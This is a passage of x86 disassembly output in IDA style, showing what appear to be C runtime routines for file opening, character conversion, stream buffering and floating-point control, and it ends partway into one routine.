		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DC048, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBE2C, 16h
		mov	dword_4DBE30, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBE34
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 272077Bh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 26106F3h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2660C52h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	near ptr 2680E92h
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBE30, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC004
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 260007Fh
		nop
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB8DC
		push	esi
		push	ebx
		nop
		call	near ptr 26006B4h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DC004, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBED4


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26006B4h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBEE4
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 26F0000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 260007Fh
		nop
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBED4, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D0D4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBEE4
		call	near ptr 28410E3h
		nop
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBE2C, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBED4, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CEC8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D0D4
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBEE4
		call	near ptr 26F0000h
		nop
		test	eax, eax
		mov	eax, dword_43D0D4
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBE2C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBEE4
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
